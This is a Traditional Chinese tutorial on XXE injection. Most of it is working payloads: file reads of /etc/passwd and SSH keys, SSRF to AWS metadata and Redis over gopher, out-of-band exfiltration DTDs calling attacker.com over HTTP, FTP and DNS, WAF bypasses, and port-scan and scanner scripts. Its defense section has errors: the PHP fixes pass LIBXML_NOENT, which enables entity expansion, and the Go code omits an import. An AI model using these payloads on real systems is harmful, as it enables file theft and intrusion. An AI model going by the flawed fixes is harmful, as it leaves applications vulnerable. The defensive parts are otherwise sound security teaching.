前言
XXE(XML External Entity)外部實體注入是一種針對解析 XML 輸入的應用程式的攻擊手法。當應用程式處理包含外部實體引用的 XML 輸入時,攻擊者可以利用這個漏洞讀取伺服器檔案、執行 SSRF 攻擊,甚至在某些情況下達成遠端程式碼執行。XXE 在 OWASP Top 10 2017 中被列為第四大安全風險,足見其嚴重性。
1. XXE 漏洞原理
什麼是 XML External Entity?
XML(eXtensible Markup Language)是一種標記語言,用於儲存和傳輸資料。XML 規範允許定義「實體」(Entity),這些實體可以被視為變數,用於儲存可重複使用的內容。
實體分為兩種類型:
- 內部實體(Internal Entity):實體值直接定義在 DTD 中
- 外部實體(External Entity):實體值從外部來源獲取(如檔案系統或網路)
DTD(Document Type Definition)
DTD 用於定義 XML 文件的結構和合法元素。DTD 可以內嵌在 XML 文件中,也可以從外部引用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>User</to>
<from>Admin</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
|
漏洞成因
當 XML 解析器配置為處理外部實體,且應用程式接受使用者提供的 XML 輸入時,攻擊者可以注入惡意的外部實體定義,導致:
- 敏感檔案洩露
- 伺服器端請求偽造(SSRF)
- 阻斷服務攻擊(DoS)
- 遠端程式碼執行(在特定條件下)
2. XML 外部實體語法
基本實體宣告語法
1
2
3
| <!DOCTYPE root [
<!ENTITY entity_name "entity_value">
]>
|
內部實體範例
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY greeting "Hello, World!">
]>
<message>&greeting;</message>
|
解析後結果:
1
| <message>Hello, World!</message>
|
外部實體語法
外部實體使用 SYSTEM 或 PUBLIC 關鍵字引用外部資源:
1
2
3
4
5
| <!-- 使用 SYSTEM 關鍵字 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 使用 PUBLIC 關鍵字 -->
<!ENTITY xxe PUBLIC "any_id" "http://attacker.com/malicious.dtd">
|
參數實體(Parameter Entity)
參數實體只能在 DTD 中使用,使用 % 符號定義和引用:
1
2
3
4
| <!DOCTYPE root [
<!ENTITY % param_entity "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
%param_entity;
]>
|
支援的協定
不同的 XML 解析器支援不同的 URI 協定:
| 協定 | 用途 | 範例 |
|---|
file:// | 讀取本地檔案 | file:///etc/passwd |
http:// | HTTP 請求 | http://attacker.com/xxe |
https:// | HTTPS 請求 | https://attacker.com/xxe |
ftp:// | FTP 請求 | ftp://attacker.com/xxe |
php:// | PHP 包裝器(PHP 限定) | php://filter/convert.base64-encode/resource=index.php |
expect:// | 執行系統命令(PHP 限定) | expect://id |
gopher:// | Gopher 協定 | gopher://localhost:6379/_INFO |
3. 檔案讀取攻擊
基本檔案讀取
這是最常見的 XXE 攻擊形式,用於讀取伺服器上的敏感檔案。
攻擊載荷:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
|
Windows 系統範例:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<root>
<data>&xxe;</data>
</root>
|
常見目標檔案
Linux/Unix 系統:
1
2
3
4
5
6
7
8
9
10
| /etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/user/.ssh/id_rsa
/home/user/.bash_history
/var/log/apache2/access.log
/var/log/apache2/error.log
|
Windows 系統:
1
2
3
4
5
| C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\.ssh\id_rsa
|
應用程式配置檔案:
1
2
3
4
| /var/www/html/config.php
/var/www/html/.env
/opt/tomcat/conf/tomcat-users.xml
/opt/tomcat/conf/server.xml
|
使用 PHP 包裝器讀取原始碼
當需要讀取包含特殊字元的檔案(如 PHP 原始碼)時,可以使用 Base64 編碼:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>
<data>&xxe;</data>
</root>
|
解碼取得的 Base64 字串:
1
| echo "PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPSAncm9vdCc7Cj8+" | base64 -d
|
目錄列舉
在某些系統上,可以使用 file:// 協定列舉目錄內容:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/">
]>
<root>
<data>&xxe;</data>
</root>
|
4. SSRF 與端口掃描
基本 SSRF 攻擊
XXE 可以用於發起伺服器端請求偽造(SSRF)攻擊,訪問內部網路資源:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server.local/admin">
]>
<root>
<data>&xxe;</data>
</root>
|
探測內部服務
探測 AWS 元資料服務:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
<data>&xxe;</data>
</root>
|
取得 AWS 認證:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root>
<data>&xxe;</data>
</root>
|
端口掃描
透過觀察回應時間或錯誤訊息,可以進行內部端口掃描:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<root>
<data>&xxe;</data>
</root>
|
自動化端口掃描腳本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| #!/usr/bin/env python3
import requests
import time
target = "http://vulnerable-app.com/parse"
internal_ip = "192.168.1.1"
ports = [21, 22, 23, 25, 80, 443, 445, 3306, 5432, 6379, 8080, 8443]
for port in ports:
payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://{internal_ip}:{port}">
]>
<root>
<data>&xxe;</data>
</root>'''
start_time = time.time()
try:
response = requests.post(target, data=payload, timeout=5)
elapsed = time.time() - start_time
if elapsed < 1:
print(f"[OPEN] Port {port} - Response time: {elapsed:.2f}s")
else:
print(f"[FILTERED] Port {port} - Response time: {elapsed:.2f}s")
except requests.exceptions.Timeout:
print(f"[FILTERED/CLOSED] Port {port} - Timeout")
except Exception as e:
print(f"[ERROR] Port {port} - {str(e)}")
|
攻擊內部服務
攻擊 Redis(使用 Gopher 協定):
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20mykey%20%22malicious_value%22%0D%0AQUIT">
]>
<root>
<data>&xxe;</data>
</root>
|
攻擊內部 API:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-api.local/admin/delete-user?id=1">
]>
<root>
<data>&xxe;</data>
</root>
|
5. Blind XXE 與 OOB 技術
什麼是 Blind XXE?
當應用程式存在 XXE 漏洞,但不會在回應中顯示外部實體的內容時,稱為 Blind XXE。這種情況下需要使用 Out-of-Band(OOB)技術來提取資料。
基本 OOB 技術
攻擊者控制的 DTD 檔案(evil.dtd):
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
|
注入載荷:
1
2
3
4
5
6
7
8
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>
<data>test</data>
</root>
|
使用 FTP 協定進行資料外洩
FTP 協定可以繞過某些 HTTP 限制:
evil.dtd:
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;
|
簡易 FTP 伺服器(Python):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| #!/usr/bin/env python3
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 21))
server.listen(5)
print("[*] Listening on port 21...")
while True:
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
conn.send(b"220 FTP Server Ready\r\n")
while True:
data = conn.recv(1024)
if not data:
break
print(f"[*] Received: {data.decode('utf-8', errors='ignore')}")
if data.startswith(b"USER"):
conn.send(b"331 Password required\r\n")
elif data.startswith(b"PASS"):
conn.send(b"230 Login successful\r\n")
elif data.startswith(b"RETR") or data.startswith(b"CWD"):
# 這裡會收到檔案內容
conn.send(b"550 File not found\r\n")
else:
conn.send(b"200 OK\r\n")
conn.close()
|
錯誤訊息資料外洩
利用 XML 解析錯誤來洩露檔案內容:
evil.dtd:
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
|
錯誤訊息可能會包含檔案內容:
1
| java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash...
|
使用 DNS 進行資料外洩
當 HTTP 和 FTP 都被阻擋時,可以嘗試 DNS:
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://%file;.attacker.com/'>">
%eval;
%exfil;
|
在攻擊者的 DNS 伺服器上可以看到類似的請求:
1
| Query: webserver01.attacker.com
|
Blind XXE 測試工具
使用 Burp Collaborator:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxxxx.burpcollaborator.net">
]>
<root>
<data>&xxe;</data>
</root>
|
使用 interact.sh:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxxxx.oast.me">
]>
<root>
<data>&xxe;</data>
</root>
|
6. 各語言防禦實作
PHP 防禦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
// 方法一:禁用外部實體載入(推薦)
libxml_disable_entity_loader(true);
// 方法二:使用 DOMDocument 並禁用外部實體
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);
// 方法三:使用 SimpleXML 安全載入
$previousValue = libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xmlContent);
libxml_disable_entity_loader($previousValue);
// PHP 8.0+ 建議使用
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT);
?>
|
Java 防禦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
public class SecureXMLParser {
public static DocumentBuilder createSecureDocumentBuilder() throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用 DTD
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部通用實體
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部參數實體
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 禁用外部 DTD
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 禁用 XInclude
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
return factory.newDocumentBuilder();
}
}
|
使用 SAXParser:
1
2
3
4
5
6
7
8
9
| import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = factory.newSAXParser();
|
Python 防禦
1
2
3
4
5
6
7
8
9
| # 使用 defusedxml(推薦)
import defusedxml.ElementTree as ET
# 安全解析 XML
tree = ET.parse('data.xml')
root = tree.getroot()
# 或從字串解析
root = ET.fromstring(xml_string)
|
安裝 defusedxml:
使用標準庫的安全配置:
1
2
3
4
5
6
7
8
9
10
11
12
| from lxml import etree
# 創建安全的解析器
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
# 解析 XML
tree = etree.parse('data.xml', parser)
|
.NET / C# 防禦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| using System.Xml;
public class SecureXmlReader
{
public static XmlReader CreateSecureReader(string xmlContent)
{
XmlReaderSettings settings = new XmlReaderSettings();
// 禁用 DTD 處理
settings.DtdProcessing = DtdProcessing.Prohibit;
// 禁用外部資源解析
settings.XmlResolver = null;
// 限制實體擴展
settings.MaxCharactersFromEntities = 0;
return XmlReader.Create(new StringReader(xmlContent), settings);
}
}
|
使用 XmlDocument:
1
2
3
| XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // 禁用外部資源解析
doc.LoadXml(xmlContent);
|
Node.js 防禦
1
2
3
4
5
6
7
8
9
10
11
| const libxmljs = require('libxmljs');
// 安全解析配置
const parseOptions = {
noent: false, // 不擴展實體
nonet: true, // 禁止網路訪問
noblanks: true,
nocdata: true
};
const doc = libxmljs.parseXml(xmlContent, parseOptions);
|
使用 fast-xml-parser:
1
2
3
4
5
6
7
8
9
10
| const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({
ignoreAttributes: false,
allowBooleanAttributes: true,
// 不處理實體引用
processEntities: false
});
const result = parser.parse(xmlContent);
|
Go 防禦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| package main
import (
"encoding/xml"
"strings"
)
func secureXMLDecode(data string) (interface{}, error) {
// Go 的 encoding/xml 預設不處理外部實體
// 但仍需驗證輸入
// 檢查是否包含 DOCTYPE 宣告
if strings.Contains(data, "<!DOCTYPE") ||
strings.Contains(data, "<!ENTITY") {
return nil, fmt.Errorf("DOCTYPE and ENTITY declarations are not allowed")
}
decoder := xml.NewDecoder(strings.NewReader(data))
decoder.Strict = true
var result interface{}
err := decoder.Decode(&result)
return result, err
}
|
Ruby 防禦
1
2
3
4
5
6
7
8
9
10
11
12
| require 'nokogiri'
# 安全解析配置
options = Nokogiri::XML::ParseOptions::STRICT |
Nokogiri::XML::ParseOptions::NONET
doc = Nokogiri::XML(xml_content) do |config|
config.strict.nonet
end
# 或使用更簡潔的語法
doc = Nokogiri::XML(xml_content, nil, nil, Nokogiri::XML::ParseOptions::NONET)
|
7. WAF 繞過技術
編碼繞過
使用 UTF-16 編碼:
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
|
使用 HTML 實體編碼:
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
|
大小寫混合
1
2
3
4
5
| <?xml version="1.0"?>
<!doctype foo [
<!ENTITY xxe SYsTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
|
使用參數實體繞過
1
2
3
4
5
6
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
%a;
]>
<root>&xxe;</root>
|
嵌套實體
1
2
3
4
5
6
7
8
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY xxe "%start;%file;%end;">
]>
<root>&xxe;</root>
|
使用外部 DTD 繞過
將惡意載荷放在外部 DTD 中,只在 XML 中引用:
1
2
3
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd">
<root>&xxe;</root>
|
利用本地 DTD 檔案
利用系統上已存在的 DTD 檔案:
1
2
3
4
5
6
7
8
9
10
11
12
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<root>test</root>
|
XInclude 攻擊
當無法控制 DOCTYPE 時,可以嘗試 XInclude:
1
2
3
| <root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
|
SVG 檔案中的 XXE
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="20">&xxe;</text>
</svg>
|
Office 文件中的 XXE
DOCX、XLSX 等 Office 文件是 ZIP 壓縮的 XML 檔案,可能存在 XXE:
1
2
3
4
5
6
7
8
| # 解壓 DOCX 文件
unzip document.docx -d extracted
# 修改 [Content_Types].xml 或其他 XML 檔案
# 加入 XXE 載荷
# 重新打包
cd extracted && zip -r ../malicious.docx *
|
8. 測試方法與工具
手動測試流程
1. 識別 XML 輸入點:
- 檢查 Content-Type 是否為
application/xml 或 text/xml - 尋找接受 XML 格式資料的 API 端點
- 檢查檔案上傳功能(SVG、DOCX、XLSX 等)
2. 基本測試載荷:
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe "XXE_TEST_STRING">
]>
<root>&xxe;</root>
|
3. 驗證外部實體處理:
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/xxe-test">
]>
<root>&xxe;</root>
|
自動化測試工具
XXEinjector:
1
2
3
4
5
6
7
8
9
10
11
| # 安裝
git clone https://github.com/enjoiz/XXEinjector.git
# 基本使用
ruby XXEinjector.rb --host=attacker.com --file=request.txt
# 使用 FTP 外洩
ruby XXEinjector.rb --host=attacker.com --file=request.txt --oob=ftp
# 指定路徑列表
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd,/etc/shadow
|
xxeftp(FTP XXE 伺服器):
1
2
3
4
5
6
| # 安裝
git clone https://github.com/staaldraad/xxeserv.git
cd xxeserv
# 啟動 FTP 伺服器
go run xxeftp.go -p 2121 -w -wd /tmp/xxe
|
Burp Suite 測試
使用 Burp Suite Professional:
- 在 Proxy 中攔截包含 XML 的請求
- 發送到 Repeater
- 插入 XXE 載荷進行測試
- 使用 Burp Collaborator 檢測 Blind XXE
Burp Suite Extension - XXE Injector:
1
2
3
4
| 1. 安裝 XXE Injector 擴充
2. 右鍵點擊請求 -> Extensions -> XXE Injector
3. 選擇測試模式(基本、Blind、OOB 等)
4. 分析結果
|
OWASP ZAP 測試
1
2
3
4
5
| # 使用 ZAP 命令列進行 XXE 測試
zap-cli quick-scan --spider -r http://target.com
# 使用 Active Scan 進行 XXE 檢測
zap-cli active-scan http://target.com
|
自製測試腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
| #!/usr/bin/env python3
"""
XXE Vulnerability Scanner
"""
import requests
import sys
from urllib.parse import urlparse
class XXEScanner:
def __init__(self, target_url, callback_url):
self.target = target_url
self.callback = callback_url
self.payloads = self._generate_payloads()
def _generate_payloads(self):
return [
# 基本 XXE
f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>''',
# Blind XXE with OOB
f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "{self.callback}/evil.dtd">
%xxe;
]>
<root><data>test</data></root>''',
# Parameter Entity
f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM '{self.callback}/?d=%file;'>">
%eval;
%exfil;
]>
<root><data>test</data></root>''',
# XInclude
f'''<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>''',
]
def scan(self):
print(f"[*] Scanning {self.target} for XXE vulnerabilities...")
for i, payload in enumerate(self.payloads):
print(f"[*] Testing payload {i+1}/{len(self.payloads)}")
headers = {
'Content-Type': 'application/xml',
'Accept': '*/*'
}
try:
response = requests.post(
self.target,
data=payload,
headers=headers,
timeout=10
)
# 檢查回應中是否包含檔案內容
if 'root:' in response.text or '/bin/bash' in response.text:
print(f"[+] XXE FOUND! Payload {i+1} returned file contents")
print(f"[+] Response: {response.text[:500]}...")
return True
# 檢查錯誤訊息
if 'DOCTYPE' in response.text or 'ENTITY' in response.text:
print(f"[!] Possible XXE - Error message contains DTD keywords")
except requests.exceptions.Timeout:
print(f"[-] Timeout on payload {i+1}")
except Exception as e:
print(f"[-] Error: {str(e)}")
print("[*] Scan complete. Check callback server for OOB connections.")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <callback_url>")
sys.exit(1)
scanner = XXEScanner(sys.argv[1], sys.argv[2])
scanner.scan()
|
使用 Nuclei 進行大規模掃描
1
2
3
4
5
6
7
8
| # 安裝 Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
# 使用 XXE 模板掃描
nuclei -u http://target.com -t vulnerabilities/xxe/
# 掃描多個目標
nuclei -l targets.txt -t vulnerabilities/xxe/ -o results.txt
|
檢查清單
總結
XXE 外部實體注入是一種嚴重的安全漏洞,可能導致敏感資料洩露、SSRF 攻擊,甚至遠端程式碼執行。防禦 XXE 的核心原則是:
- 禁用外部實體處理:在 XML 解析器中禁用 DTD 和外部實體
- 輸入驗證:驗證和過濾使用者提供的 XML 輸入
- 使用安全的解析庫:選擇預設安全的 XML 解析庫(如 Python 的 defusedxml)
- 最小權限原則:限制應用程式的檔案系統和網路訪問權限
- 定期安全測試:使用自動化工具定期掃描 XXE 漏洞
透過了解 XXE 攻擊的原理和技術,開發人員和安全研究人員可以更好地識別和防禦這類威脅,確保應用程式的安全性。
參考資源